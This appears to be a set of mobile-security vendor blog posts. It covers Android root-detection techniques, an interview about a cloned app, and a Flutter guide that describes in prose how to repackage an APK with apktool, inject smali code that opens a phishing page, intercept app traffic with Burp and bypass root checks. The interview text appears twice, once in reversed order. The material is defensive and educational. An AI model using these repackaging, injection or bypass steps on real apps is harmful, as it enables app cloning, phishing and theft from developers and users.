On the one hand, these capabilities enhance control over the device, providing users with greater flexibility and customization options. On the other hand, rooting introduces significant security risks, as it can expose the system to unauthorized access, malicious activity, or potential vulnerabilities.

In the context of root detection testing, rooting presents a serious challenge as it disables or bypasses many of the operating system’s built-in mechanisms. Therefore, detecting signs of rooting is crucial for maintaining device integrity and preventing vulnerabilities that could be exploited by attackers.

Learn more:

Shut the Mouse Hole: Stop Attackers with Root Detection

As outlined in the previous section, Android devices with root access are significantly more exposed to mobile malware, privilege escalation exploits, and persistent system compromise due to the lack of enforced security boundaries. These rooted environments often become attractive entry points for attackers, allowing them to gain unauthorized access not only to sensitive user data but also for other components of the mobile ecosystem.

Given these significant risks, it is essential to implement reliable root access detection that can effectively identify compromised devices before serious security breaches occur. Root detection is the first line of defense against these threats and should be an integral part of the security architecture of any application.

However, root detection is not a simple task. As rooting techniques evolve, so do the methods for bypassing detection. Root bypass techniques have become increasingly sophisticated, making it necessary to implement multi-layered root detection mechanisms. Relying on a single method of detection is not sufficient, as attackers often find ways to circumvent basic checks.

Learn more:

Common Root Detection Techniques

There are several common techniques used to identify rooted devices, each targeting a specific characteristic or modification that typically occurs when a device is compromised. By combining these techniques, it is possible to create a more robust method for detecting rooted devices, helping to reduce the security risks posed by compromised devices.

File-based detection

Rooting often leaves behind characteristic traces in the file system, and by probing for these artifacts, it’s possible to identify compromised devices. These artifacts may include binaries, configuration files, or directories commonly associated with rooting tools.

One of the most recognizable indicators is the presence of the su binary, which is typically used to grant superuser privileges to applications. This binary may be located in several paths depending on the rooting method or tool used, such as:

  • /system/bin/su

  • /system/xbin/su

  • /sbin/su

  • /data/local/su

  • /data/local/xbin/su

Some devices may also contain utility binaries like busybox, which provides a suite of Unix tools often included in rooted environments:

  • /system/xbin/busybox

  • /system/bin/busybox

Root management apps, such as SuperSU or Magisk, may install APKs and daemon scripts to maintain root access. These files can also be detected at known locations:

  • /system/app/Superuser.apk

  • /system/etc/init.d/99SuperSUDaemon

  • /system/xbin/daemonsu

  • /dev/com.koushikdutta.superuser.daemon/

Implementing a scan for these files can serve as a basic yet effective first layer of root detection.

Process-based detection

Some root detection techniques focus on monitoring and interacting with processes that are commonly associated with root access. Root management tools typically rely on binaries like su to elevate privileges, or sh to execute scripts with root permissions. By attempting to invoke these processes at runtime, it’s possible to detect their presence and functionality, even if their files are hidden or obfuscated.

Package-based detection

Rooted devices often rely on specialized apps to manage superuser access and maintain elevated privileges. These root management tools, such as Magisk, SuperSU, or older solutions like Superuser.

Android provides APIs to query all installed packages using the PackageManager. By comparing package names against a known list of popular root-related apps, it’s possible to detect the presence of these tools on the device.

Some commonly used package names include:

  • eu.chainfire.supersu

  • com.noshufou.android.su

  • com.koushikdutta.superuser

  • com.zachspong.temprootremovejb

  • com.ramdroid.appquarantine

  • com.topjohnwu.magisk

System property-based detection

Custom or tampered Android builds often leave identifiable traces in system properties. These builds may originate from user-modified ROMs or developer-compiled firmware images and frequently bypass standard security mechanisms. Detecting such modifications can help determine if a device is running a non-standard and potentially insecure, operating system.

One common technique involves inspecting the Build.TAGS property. Another indicator is the absence of Google’s Over-The-Air (OTA) update certificates.

Static Analysis for Root Traces

One approach to determine whether an application includes root detection mechanisms is to perform a static analysis. This technique enables the examination of the application’s code without requiring execution. It also helps identify embedded root detection logic, such as techniques outlined in the section Common Root Detection Techniques.

This method is particularly useful during security assessments, where it’s important to understand how thoroughly an application protects itself against rooted environments. The following steps outline how to perform static analysis to detect common root detection implementations:

  1. Check for root detection indicators

  • Apps may check for the presence of files commonly associated with rooted devices (e.g., /system/xbin/su, /data/data/com.superuser.android.id) or for root management apps (e.g., SuperSU, Magisk).

  • Run a static analysis tool such as MobSF or Apktool on the app binary to look for common root detection checks.

  1. Non-standard system behavior detection

  • Check if the app monitors processes that shouldn't normally be running, such as su or sh, which are typically associated with root management tools.

  • Reviewing the app's smali or assembler code can reveal whether the app checks for or interacts with such processes.

  1. System properties modification detection

  • Apps may monitor system properties (e.g., ro.debuggable, ro.secure) for changes, adding another layer to the root detection process.

  1. Critical system directories modification detection

  • Check if the app attempts to modify files or settings in critical system directories, such as /data or /system, which should remain immutable on unrooted devices.

As a result of this analysis, one should be able to observe whether the application contains any of these typical root detection patterns. If such mechanisms are present and clearly target known indicators of root access, it can be concluded that the app implements root detection properly.

It’s important to note that static analysis has limitations and may not reveal all root detection logic, especially if it is obfuscated or implemented using unconventional techniques.

Dynamic Detection of Root Access

Another approach to determine whether an application includes root detection mechanisms is to perform dynamic analysis. This technique involves observing the application’s behaviour at runtime while it operates on a potentially rooted device. It allows testers to understand how the application interacts with the system and whether it performs any real-time checks for root-related indicators.

This method is particularly useful during runtime security assessments, where the goal is to verify if the application can detect and respond to signs of root access under realistic conditions. The following steps outline how to perform dynamic analysis to detect runtime root detection behaviour:

  1. Monitor Application Behaviour

  • Use tools like strace or similar utilities to trace how the app checks for root access. Look for interactions with the system, such as attempts to open su, check running processes, or read root-specific files. This analysis helps uncover how the app performs root detection and may reveal potential weaknesses.

  1. Bypassing Root Detection Mechanisms

  • Run a dynamic analysis tool such as Objection to attempt automated root detection bypass. Use commands to manipulate root checks and observe whether the app still correctly detects root access or if its security mechanisms can be bypassed.

As a result of this analysis, one should be able to determine whether the application performs root detection at runtime and how resilient it is to bypass techniques. If the application actively checks for root indicators and responds appropriately, even under attempts to tamper with its logic, it can be considered to have a well-implemented runtime root detection mechanism. However, if no signs of root detection are observed, or if the application’s checks are easily bypassed, it suggests that the implementation may be incomplete or ineffective.

A Hands-On Demo

This section demonstrates how root detection logic present in an Android application can be verified via static analysis using Semgrep. The test is performed on a class containing basic root detection techniques.

In real-world scenarios, security engineers often work with Android applications where the original source code is not available. However, static analysis can still be performed by reconstructing the code using reverse engineering tools like jadx or apktool. These tools allow analysts to obtain Java or Smali code from an APK file.

For the purposes of this hands-on example, we’ll assume the source code is already available (or has been successfully reconstructed) and focus on the static analysis part.

Let’s take a look at a simple class that contains basic root detection logic:

Before we begin, make sure you have Semgrep installed. You can install it using:

pip install semgrep

or , if you’re using macOS:

brew install semgrep

If you’re working with code reconstructed from APK (e.g., RootDetection_reversed.java obtained via jadx), you can run Semgrep on the reversed Java file instead of the original Kotlin source.

Here’s an example of a Semgrep rule that identifies common patterns used in root checks:

You can run Semgrep with this rule:

semgrep -c root-detection.yml RootDetection_reversed.java

When executed, Semgrep will provide results similar to this:

Conclusion

To conclude, implementing effective root detection techniques is crucial for maintaining mobile security and protecting users from potential threats posed by compromised devices. As rooting methods evolve, developers must employ multi-layered detection strategies to stay ahead of attackers who seek to bypass security measures. Combining file-based, process-based, package-based, system property-based, and dynamic detection techniques can create a robust defense against rooting-related risks.

For industry-leading root detection, explore and , which provide advanced security features to safeguard mobile applications from threats.

For additional terminology and security insights about rooting, jailbreaking and hooking, visit the .

5 Things John Learned Fighting Hackers of His App — A must-read for PM’s and CISO’s

John is the creator of a popular app BetterVision, for the blind and visually impaired. There is a good reason for the over 100K installations John’s creation has achieved. BetterVision can turn a phone’s camera into a powerful assistant easing a daily routine for disabled users worldwide. With success, however, soon came difficulties. John’s app suffered a cloning attack, and his In-App purchases got stolen.

At , we specialize in in-app security. We build RASP (Runtime Application Self-Protection) tools to protect apps against hacking — which, unfortunately, is growing in popularity. In this article, we interviewed Business Owner and senior Android developer John Smith whose app BetterVision got hacked. The interviewee has requested anonymity. We deliberately changed his name to “John Smith” and his brand name to “BetterVision”.

  1. Do not release without protections in-place

  2. Perform sensitive operations server-side whenever possible

  3. Prevent reverse-engineering

  4. Monitor user groups and APK mirroring sites to detect malicious clones

  5. Warn users against using fake clones

My five tips are:

Using time-saving drop-in solutions like Talsec and not messing up security basics pays off. Otherwise, you have to accept losing some percentage of purchases due to hacked clones and take it into account — also financially. I remember an Android security survey that suggested that most apps lack even the most basic obfuscation.

It can sound silly, but the thing is that when you have to choose between delivering functionality and improving security, you should select the first and reckon with the risk. I have heard of companies focused on security so much that they could not develop the functionality needed for business.

To wrap it, what would you recommend to other developers? What five tips would you give to yourself looking back?

My Firebase catches something already, but I would appreciate Talsec’s monitoring as it is more advanced. It would be great to see the collected statistics.

What do you think about Talsec’s Security Monitoring service and threat visualization dashboard?

I had the warning screen displayed in hacked clones that exited the application only to realize users of clones began complaining and giving bad reviews. So, I later reverted it as it wasn’t worth it. However, I believe it’s good to have hidden logging, which can’t be disabled by a hacker easily. That’s what I finally ended up with. The hacked clones still report to my monitoring service as hackers apparently don’t care about that.

Did you apply any mechanism to warn users against using a hacked clone? Did you forcibly terminate the app?

Yes, it would be necessary to add a lot of arbitrary fake reflection calls so that the important ones will be hidden between them. These could also serve as a kind of honey-pot. I would appreciate a plugin that would perform this transformation automatically.

Agreed. The reflection is easily spotted in the code. Do you have any solution in mind?

Obfuscation is of great importance in hiding inner business logic. You can combine obfuscation with the reflection API to hide system calls. Hackers often head for them as these are usually placed close to sensitive operations. With reflection, you turn these calls into strings that are consequently obfuscated. Hackers will not be able to locate them using static analysis. Unfortunately, hackers are aware of this technique, and if you use it only on a few occasions, they can easily guess its meaning.

Do you have some specific protection tips?

It’s a cat-and-mouse game. Hackers always find your protections, so you are forced to evolve your knowledge and update your app. For example, I spread those checks into many places in the app, so they are more likely to forget something untouched.

As I said, the first choice for me was the PiracyChecker as Talsec was not a thing back then. I have learned a lot from experienced Android developers on advanced forums. Things like decentralizing security checks, hiding secrets in a native code, rooting and tampering protection.

What countermeasures did you apply? Where did you learn about possible techniques? Did you get stuck?

The common issue of established RASP libraries is that bypass for the majority of them is already publicly available. I feel the Talsec has a slight edge in this manner, at least for now.

I didn’t have the necessary knowledge at that time. I have added the popular PiracyChecker library (note: Talsec didn’t exist at that time), but hackers still could circumvent it. As I have learned more about protecting Android apps, I have added many protections myself later. Alas, the iOS version of my app still needs to enhance the protection, which falls behind the Android one.

Did you consider products like Talsec RASP or freeRASP?

RASP made by does come as a complete toolbox of security enhancements. Reverse engineering protection can protect your app with many invisible traps that give hackers a hard time. Malware detection, tapjacking prevention, E2E Encryption, mutual TLS setup, online client integrity checks (Attestation), On-line Risk Scoring, API protection, Strong Customer Authentication, embeddable security dashboard, and much more are covered in our enterprise security. for a private meeting!

It’s common to use native code for hiding valuable parts of an application as its decompilation of binary is a much more demanding task. I hide logging and security checks in various places. There’s a high probability a hacker will miss some parts, and you will be able to track malicious activities. A hacker only aims for the functional clone and doesn’t care about making it top-notch in the end.

In theory, the best protection should be layered and spread all around the app. What layers and tricks do you recommend?

Not necessarily; you can change a Proguard’s dictionary. The unfortunate side effect is that Google Play’s review process becomes more time-consuming. The regular one-day review process takes up to 10 days if you change the dictionary, as Google Play scanning is more thorough in such cases. If I need to push hotfixes quickly, I stick with the same dictionary as my previous build.

Is obfuscation the same for all builds?

Finally, strip out any debugging lines. Popular library has one crucial weakness regarding that. Although your Timber tree won’t log in the production build, your debugging code is still in place. A hacker can just turn debugging on for the app, and the logging will be visible again. Creating your logging scheme is also beneficial. Debug and verbose logs are dropped in production, informational logs are written into the local log, and finally, warnings and more severe events are logged to Firebase.

I highly recommend the string obfuscator . It only takes a single annotation @Obfuscate above the class, and you are good to go.

I remember having issues with code obfuscation. In some cases, older versions of Proguard (code obfuscator) obfuscated method parameters but created annotations with original names above them. I haven’t noticed such issues with R8, which ships with Android Studio nowadays.

Could you share any technical insights?

“A hacker only aims for the functional clone and doesn’t care about making it top-notch in the end.”

The Mitigation: How to build a wall

For example, there was a guy from India who even added his own payment system and he charged half the price of the original. He even went to great lengths in protection and used a DexGuard to protect it. We got a hold of his WhatsApp and phone number. We unsuccessfully tried to sue him, but he was out of our legal reach.

Although they don’t usually want to talk to us, there was a white-hat guy who appreciated our work and gave us a few hints as to what we might do better. Apart from that, they only care about adding their own ads and other nasty things.

Did you contact hackers directly? What was their motivation?

Hackers are still active and create new clones. They can often release a clone just a few days after our updates. Unfortunately, we don’t have any way to disable those cracked versions.

Do users still use the hacked version, or did you disable it somehow?

There were also videos on YouTube that contained links to clones. Reporting to Google (Content ID claim) worked well. Google took down the incriminated video within a day. Reporting links to Google Drive with hacked versions was also successful.

Yes. The community was very supportive. Community members send us links to hacked versions. Fans are also sending in recordings of communications with the attackers. We’re tracking it, and we have a whole database full of it.

It seems you like to accommodate the community.

A common tool used for hacking is the app called Lucky Patcher. So I added a detection which caused the app to stop if the user had it installed. It turned out that many people have Lucky Patcher installed, and after an avalanche of complaints by angry users, I reverted this detection.

The first versions contained only basic functionality. In retrospect, I have to say that launching the app without protection was a big mistake. It was only in response to the hacking that the first protection was added, which was a signature check. This stopped cloners and amateurs from using automated repackaging tools for a while. A little later, I also added the string obfuscation.

Could you tell us more about your fight with hackers?

If you find out that you have four times more users on Google Play than on the AppStore and your profits are four times less, something is fishy. Sideloading of cracked apps, simplicity of rooting, and APK modifications are significant drawbacks of the Android platform. iOS protects both users and developers better against such malicious activities. A profitability perspective is much better as users are better used to paying for apps.

Although we haven’t done the math, the financial losses are significant. Because hackers may have disabled the in-app tracking, the actual number of installed cracked clones cannot be determined. Although Android has four times as many users as iOS, profits are four times smaller because of cracked versions being still available.

It was a terrible feeling considering I used to develop it in my spare time for almost no profit initially. The application fee was only enough to cover the costs. Later, we invested a fair amount of money for performant Amazon servers used for machine learning.

What were the consequences and the financial impacts of this hacking?

I think that some users were resourceful and hacked the app themselves by removing Google Play Billing Library in-app purchases. As long as they were doing it for their own use, I didn’t even mind.

Users themselves reported finding illegal copies, which started popping up on Telegram and WhatsApp groups. Anyone could grab those APKs and install them. Paid users were upset.

When was the first time you noticed something was not alright?

“Although Android has four times as many users as iOS, profits are four times smaller because of cracked versions being still available.”

The Hack: BetterVision got caught naked

We immediately had positive feedback from users after the release. We were amazed that users even switched from a competing app to us. We made it into newspapers and TV in the homeland thanks to great help from local organizations. We recruited ambassadors from the ranks of users in foreign regions.

Getting early-stage traction was surprisingly easy thanks to the strong disabled communities in which our app quickly gained attention. Users recommended the app to each other, especially coaches for disabled people, who took the initiative and spread the word among clients.

How did you acquire your first users?

Oftentimes, in reality, it is not possible to host valuable assets from the cloud safely, and you must put them into the app.

Finally, ease of use and accessibility required offline operation because users don’t always and everywhere have a good network connection. One of the cornerstones and our know-how are computer vision models using machine learning. These have to be a static part of the application since users might have issues if they were hosted on the cloud. It is one of the misconceptions many developers have. They believe they can secure everything by putting it server-side. Oftentimes, in reality, it is not possible to host valuable assets from the cloud safely, and you must put them into the app.

The idea wasn’t novel as there already were similar solutions by renowned companies. We kicked off with only basic features at the beginning focusing on accessibility. Not only we thoroughly tested eyes-free usage in the app but also accompanying web and brochures. I regularly tested it myself, covering my eyes with my hand.

The idea came from a disabled friend. Together we realized this is a widespread issue which many disabled people face. Similar solutions already existed but were insufficient (school projects) or with poor accessibility optimizations.

BetterVision is a unique app in its category, right? What inspired you to make it? Could you tell us more about its early development?

The idea came from a disabled friend. Together we realized this is a widespread issue which many disabled people face. Similar solutions already existed but were insufficient (school projects) or with poor accessibility optimizations.

The idea wasn’t novel as there already were similar solutions by renowned companies. We kicked off with only basic features at the beginning focusing on accessibility. Not only we thoroughly tested eyes-free usage in the app but also accompanying web and brochures. I regularly tested it myself, covering my eyes with my hand.

Finally, ease of use and accessibility required offline operation because users don’t always and everywhere have a good network connection. One of the cornerstones and our know-how are computer vision models using machine learning. These have to be a static part of the application since users might have issues if they were hosted on the cloud. It is one of the misconceptions many developers have. They believe they can secure everything by putting it server-side. Oftentimes, in reality, it is not possible to host valuable assets from the cloud safely, and you must put them into the app.

Oftentimes, in reality, it is not possible to host valuable assets from the cloud safely, and you must put them into the app.

How did you acquire your first users?

Getting early-stage traction was surprisingly easy thanks to the strong disabled communities in which our app quickly gained attention. Users recommended the app to each other, especially coaches for disabled people, who took the initiative and spread the word among clients.

We immediately had positive feedback from users after the release. We were amazed that users even switched from a competing app to us. We made it into newspapers and TV in the homeland thanks to great help from local organizations. We recruited ambassadors from the ranks of users in foreign regions.

The Hack: BetterVision got caught naked

“Although Android has four times as many users as iOS, profits are four times smaller because of cracked versions being still available.”

When was the first time you noticed something was not alright?

Users themselves reported finding illegal copies, which started popping up on Telegram and WhatsApp groups. Anyone could grab those APKs and install them. Paid users were upset.

I think that some users were resourceful and hacked the app themselves by removing Google Play Billing Library in-app purchases. As long as they were doing it for their own use, I didn’t even mind.

What were the consequences and the financial impacts of this hacking?

It was a terrible feeling considering I used to develop it in my spare time for almost no profit initially. The application fee was only enough to cover the costs. Later, we invested a fair amount of money for performant Amazon servers used for machine learning.

Although we haven’t done the math, the financial losses are significant. Because hackers may have disabled the in-app tracking, the actual number of installed cracked clones cannot be determined. Although Android has four times as many users as iOS, profits are four times smaller because of cracked versions being still available.

If you find out that you have four times more users on Google Play than on the AppStore and your profits are four times less, something is fishy. Sideloading of cracked apps, simplicity of rooting, and APK modifications are significant drawbacks of the Android platform. iOS protects both users and developers better against such malicious activities. A profitability perspective is much better as users are better used to paying for apps.

Could you tell us more about your fight with hackers?

The first versions contained only basic functionality. In retrospect, I have to say that launching the app without protection was a big mistake. It was only in response to the hacking that the first protection was added, which was a signature check. This stopped cloners and amateurs from using automated repackaging tools for a while. A little later, I also added the string obfuscation.

A common tool used for hacking is the app called Lucky Patcher. So I added a detection which caused the app to stop if the user had it installed. It turned out that many people have Lucky Patcher installed, and after an avalanche of complaints by angry users, I reverted this detection.

It seems you like to accommodate the community.

Yes. The community was very supportive. Community members send us links to hacked versions. Fans are also sending in recordings of communications with the attackers. We’re tracking it, and we have a whole database full of it.

There were also videos on YouTube that contained links to clones. Reporting to Google (Content ID claim) worked well. Google took down the incriminated video within a day. Reporting links to Google Drive with hacked versions was also successful.

Do users still use the hacked version, or did you disable it somehow?

Hackers are still active and create new clones. They can often release a clone just a few days after our updates. Unfortunately, we don’t have any way to disable those cracked versions.

Did you contact hackers directly? What was their motivation?

Although they don’t usually want to talk to us, there was a white-hat guy who appreciated our work and gave us a few hints as to what we might do better. Apart from that, they only care about adding their own ads and other nasty things.

For example, there was a guy from India who even added his own payment system and he charged half the price of the original. He even went to great lengths in protection and used a DexGuard to protect it. We got a hold of his WhatsApp and phone number. We unsuccessfully tried to sue him, but he was out of our legal reach.

The Mitigation: How to build a wall

“A hacker only aims for the functional clone and doesn’t care about making it top-notch in the end.”

Could you share any technical insights?

I remember having issues with code obfuscation. In some cases, older versions of Proguard (code obfuscator) obfuscated method parameters but created annotations with original names above them. I haven’t noticed such issues with R8, which ships with Android Studio nowadays.

I highly recommend the string obfuscator . It only takes a single annotation @Obfuscate above the class, and you are good to go.

Finally, strip out any debugging lines. Popular library has one crucial weakness regarding that. Although your Timber tree won’t log in the production build, your debugging code is still in place. A hacker can just turn debugging on for the app, and the logging will be visible again. Creating your logging scheme is also beneficial. Debug and verbose logs are dropped in production, informational logs are written into the local log, and finally, warnings and more severe events are logged to Firebase.

Is obfuscation the same for all builds?

Not necessarily; you can change a Proguard’s dictionary. The unfortunate side effect is that Google Play’s review process becomes more time-consuming. The regular one-day review process takes up to 10 days if you change the dictionary, as Google Play scanning is more thorough in such cases. If I need to push hotfixes quickly, I stick with the same dictionary as my previous build.

In theory, the best protection should be layered and spread all around the app. What layers and tricks do you recommend?

It’s common to use native code for hiding valuable parts of an application as its decompilation of binary is a much more demanding task. I hide logging and security checks in various places. There’s a high probability a hacker will miss some parts, and you will be able to track malicious activities. A hacker only aims for the functional clone and doesn’t care about making it top-notch in the end.

RASP made by does come as a complete toolbox of security enhancements. Reverse engineering protection can protect your app with many invisible traps that give hackers a hard time. Malware detection, tapjacking prevention, E2E Encryption, mutual TLS setup, online client integrity checks (Attestation), On-line Risk Scoring, API protection, Strong Customer Authentication, embeddable security dashboard, and much more are covered in our enterprise security. for a private meeting!

Did you consider products like Talsec RASP or freeRASP?

I didn’t have the necessary knowledge at that time. I have added the popular PiracyChecker library (note: Talsec didn’t exist at that time), but hackers still could circumvent it. As I have learned more about protecting Android apps, I have added many protections myself later. Alas, the iOS version of my app still needs to enhance the protection, which falls behind the Android one.

The common issue of established RASP libraries is that bypass for the majority of them is already publicly available. I feel the Talsec has a slight edge in this manner, at least for now.

What countermeasures did you apply? Where did you learn about possible techniques? Did you get stuck?

As I said, the first choice for me was the PiracyChecker as Talsec was not a thing back then. I have learned a lot from experienced Android developers on advanced forums. Things like decentralizing security checks, hiding secrets in a native code, rooting and tampering protection.

It’s a cat-and-mouse game. Hackers always find your protections, so you are forced to evolve your knowledge and update your app. For example, I spread those checks into many places in the app, so they are more likely to forget something untouched.

Do you have some specific protection tips?

Obfuscation is of great importance in hiding inner business logic. You can combine obfuscation with the reflection API to hide system calls. Hackers often head for them as these are usually placed close to sensitive operations. With reflection, you turn these calls into strings that are consequently obfuscated. Hackers will not be able to locate them using static analysis. Unfortunately, hackers are aware of this technique, and if you use it only on a few occasions, they can easily guess its meaning. Agreed. The reflection is easily spotted in the code. Do you have any solution in mind?

Yes, it would be necessary to add a lot of arbitrary fake reflection calls so that the important ones will be hidden between them. These could also serve as a kind of honey-pot. I would appreciate a plugin that would perform this transformation automatically.

Did you apply any mechanism to warn users against using a hacked clone? Did you forcibly terminate the app?

I had the warning screen displayed in hacked clones that exited the application only to realize users of clones began complaining and giving bad reviews. So, I later reverted it as it wasn’t worth it. However, I believe it’s good to have hidden logging, which can’t be disabled by a hacker easily. That’s what I finally ended up with. The hacked clones still report to my monitoring service as hackers apparently don’t care about that.

What do you think about Talsec’s Security Monitoring service and threat visualization dashboard?

My Firebase catches something already, but I would appreciate Talsec’s monitoring as it is more advanced. It would be great to see the collected statistics.

To wrap it, what would you recommend to other developers? What five tips would you give to yourself looking back?

It can sound silly, but the thing is that when you have to choose between delivering functionality and improving security, you should select the first and reckon with the risk. I have heard of companies focused on security so much that they could not develop the functionality needed for business.

Using time-saving drop-in solutions like Talsec and not messing up security basics pays off. Otherwise, you have to accept losing some percentage of purchases due to hacked clones and take it into account — also financially. I remember an Android security survey that suggested that most apps lack even the most basic obfuscation.

My five tips are:

  1. Do not release without protections in-place

  2. Perform sensitive operations server-side whenever possible

  3. Prevent reverse-engineering

  4. Monitor user groups and APK mirroring sites to detect malicious clones

  5. Warn users against using fake clones

written by Tomáš Soukal, Mobile Dev and Security Consultant at Talsec

How to Hack & Protect Flutter Apps — OWASP MAS and RASP. (Pt. 2/3)

OWASP Mobile Application Security guides all phases of mobile app development and testing. The Verification Standard and the Testing Guide will provide you with a security standard and a baseline for mobile app security verification curated by a community dedicated to improving software security. Put in the right RASP suite to get the best passive and active security mix.

Part 1 () ↓

  • Disassemble app.

  • Extract its secrets.

Part 2 (this article) ↓

  • Make a fake clone.

  • Check every transmitted JSON.

  • Inject code.

Part 3 () ↓

  • Steal authentication tokens.

  • and attack the API.

How to make a fake clone, aka “repackaging attack.”

To create a fake or “cloned” version of an Android app using , you first need to decompile the original app using the apktool d command. This would extract the contents of the app, including its resources, manifest file, and compiled code, into a directory on your computer. Next, you need to make the desired modifications to the app, such as changing its name, icon, or functionality. Once the modifications are complete, you can use the apktool b command to rebuild the app into a new APK file. This APK file would contain the modified version of the app, which you could then install on an Android device.

While you could fiddle with Flutter’s binary libapp.so file, I would just inject code into MainActivity.smali file, which is present in every Flutter Android app. The code used in this file is called smali. You can modify it as you wish. This can be misused to add a custom Activity, paywall, ads, or for credential harvesting. An adversary may be able to load native library containing reusable malware code. In my experience, the injection of hidden malicious native code is actually quite common.

Let’s make some code injections

This is the MainActivy.smali file in a stock Flutter app after being disassembled with apktool:

Example 1: Hello World

This code is a simple ‘Hello, world!’ string written into log.

Example 2: Open browser intent to a malicious website

This code will prompt a user to open the adversary-controlled phishing page.

Don’t reinvent the wheel and follow the standard

Let’s change the side and assume you want to protect your app against such attacks instead. I have great news! There is a standard for that. It’s called OWASP Mobile Application Security (OWASP MAS) which can guide you. It is a comprehensive guide for mobile app security with actionable solutions for many problems.

I should now advise you to visit the OWASP MAS using the link below. But it would also mean I would lose your attention. If you promise that you will return here, you can click it:

MAS Verification Standard (MASVS) will help you to understand something called security levels (L1 Standard Security, L2 Defense-in-Depth, R Resiliency). It will also introduce you to respective categories and their requirements:

MAS Testing Guide (MASTG) holds platform-specific detailed content about all security techniques. Unfortunately, it is targeted at iOS and Android devs and is less beneficial to Flutter devs.

MAS Checklist is a sheet used to check all requirements one by one to ensure nothing was left.

Check every transmitted JSON

JSON attacks, also known as JSON injection, refer to a type of backend web application vulnerability that occurs when user-supplied data is passed through a JSON parser without proper validation or sanitization. This can allow an attacker to inject malicious code into the JSON data, which can then be executed by the application.

To make a JSON attack, an attacker would need to craft a malicious payload that is designed to exploit the vulnerability in the target application. This payload could be included in an HTTP request, hidden in a file, or delivered through some other means. Once the payload is delivered to the application, it would be parsed by the JSON parser and executed, potentially allowing the attacker to gain unauthorized access or perform other malicious actions.

To protect against these types of attacks, it’s important to implement proper input validation and sanitization, as well as keep backend web applications up to date with the latest security patches. Another method to mitigate the JSON injection attack is to ensure that API call comes from a legit client and not crafted by an attacker who may have valid authentication token. Talsec provides the technology to verify client-side legitimacy and integrity. In comparison with the similar Firebase AppCheck technology the can do this with every API call.

Let’s catch some JSON’s!

I will use the tool to break into an app and intercept it’s JSONs. The hacked app will reveal the content of its network traffic in the Burp proxy.

I have chosen an arbitrary automotive app featured on the Flutter homepage. Just imagine that hackers would have discovered a vulnerability in such an app, allowing them to open the car’s trunk remotely. Such scenarios are actively researched nowadays and serve as a reminder of the importance of regularly updating software and maintaining strong security measures to protect against hackers.

Seeing the capabilities of this app makes me wonder what would happen if someone could exploit it. Remote unlock, car horn, remote cameras, car location and other super-sensitive operations can be invoked within this app.

To inspect traffic using the Burp Interceptor proxy, you first need to set up on your computer and configure your testing device to use the Burp proxy. Once Burp is set up, you can use the Interceptor tab to view and manage incoming and outgoing traffic. The Interceptor tab displays a list of requests and responses, along with details such as the URL, method, headers, and payload.

I downloaded the app from my testing device to my computer and reFluttered it:

At this moment, I am able to inspect every request, uncover hidden advertising campaigns, and so on. In general, this opens access to data like:

  • API architecture

  • Source URLs

  • HTTP headers

  • Bearer tokens

  • Transmitted data (i.e., JSON)

Shields up! Runtime Application Self-Protection

A plethora of threats can be solved by a potent runtime application self-protection (RASP) library. There are various free solutions, but I have chosen the since it covers most areas, and I also contributed to this library.

Key features are the detection and prevention of root/jailbreak (e.g., unc0ver, check1rain), hooking framework (e.g., Frida, Shadow), untrusted installation method, and App/Device (un)binding.

Speaking of OWASP MAS levels, you would mostly be interested in RASP if your app should be compliant with R-level oriented on resiliency aspects. Actually, many devs integrate freeRASP as a future-proof solution to stay ahead even before their app truly needs R-level. This is something I am really proud of.

I prepared a small demo below showing freeRASP’s checks triggered on a rooted emulator. However, you can process the threat flags as you need. From my experience, the most common way is to show a dialog to warn the user about a tampered app or device and forbid any sensitive operations. I also wrote about freeRASP in this previously.

Actionable steps for app owners

  1. Find out which security level (e.g., L1+R) is recommended for your app:

  2. Try out freeRASP to get fundamental RASP features into your app:

Thank you for reading the second part of this guide. It’s always great to have an interested and engaged reader, and I appreciate your time and attention. I hope the information I’ve provided has been useful and informative! Thank you again for joining me on this journey.

Part 3 of this series will be available soon. Subscribe to Talsec and maybe try to crack-open some Flutter app in the meantime!

written by Tomáš Soukal, Security Consultant at Talsec

AI Device Risk Summary Demo | Threat Protection | Risk Scoring | Malware Detection | Android & iOS

An exclusive preview of the technology that will define tomorrow's mobile security.

Revolutionizing Mobile Security: AI-Powered Device Risk Summary

For banking applications, fintech platforms, and any app where sensitive operations occur, preventing mobile fraud is critical. The challenge is to implement robust security without creating friction for the user. Imagine preventing fraudulent transfers or account takeovers with a seamless, user-empowering flow. This powerful, dynamic approach is the future of mobile security, moving beyond static defense to an interactive shield that helps, not just hinders.

What if you could not only detect a critical threat on a user's device but also guide them to fix it and complete their action securely, all within moments? At Talsec, we're thrilled to unveil a groundbreaking new capability that does just that. Let's walk you through a real-world scenario to demonstrate the power of our advanced security, culminating in our new AI Device Risk Summary.

The Scenario

Imagine a user is excited to buy a new pair of shoes from your e-commerce mobile application. They have found the perfect pair, added them to the cart, and are ready to check out. However, there's a hidden problem: their device is infected with malware.

Step 1: The Initial Purchase Attempt

The user proceeds to the payment page, ready to enter their card details. Instantly, Talsec's in-app security kicks in as an automatic background security step-up.

Step 2: Intelligent Security Check and Risk Assessment

Here's where the magic begins. While the input fields for the user's sensitive card information are temporarily disabled, Talsec performs a comprehensive device security scan in the background. The result? A high-risk score is returned, confirming that critical threats are present on the device, making it unsafe to proceed with an EMV payment transaction.

Step 3: AI-Powered Risk Summary and Crystal-Clear Guidance

This is the game-changer. Rather than leaving the user confused and likely to abandon their cart, your app now presents them with Talsec's AI Device Risk Summary. This user-friendly interface clearly explains the problem.

  • Threat Report: A concise report informs the user that a specific threat has been found. In this case, it’s dangerous "SMS Forwarder" malware – a type of spyware that can intercept one-time passwords and other sensitive information sent via text message.

  • Remediation Steps: The summary provides simple, actionable guidance, instructing the user on how to locate and uninstall the malicious application from their device.

Step 4: From Threat to Trust

The user follows the straightforward instructions and successfully removes the SMS Forwarder malware. They are now confident that their device is clean and their information is safe.

Step 5: A Secure Second Attempt and a Successful Transaction

The user returns to your app and attempts the purchase again. This time, the Talsec security check runs and delivers a vastly improved, low-risk score. The system recognizes that the threat has been neutralized.

The sensitive card detail fields are now enabled. The user confidently enters their payment information, completes the EMV transaction, and their purchase is successful.

From Friction to Empowerment

This entire process turns a potentially disastrous security incident into a positive user experience. You have not just prevented fraud; you have empowered your user to secure their own device, building trust and loyalty in your brand.

Would you like to protect your app with our new AI Device Risk Summary and transform your users' security experience?

Contact us to get more information about this awesome new feature! Visit and request a demo.

Philosophizing security in a mobile-first world

Cybersecurity has been a global problem for several decades. However, we are still in a phase where the exponential growth of security exploits leads to significant financial losses for businesses and individuals.

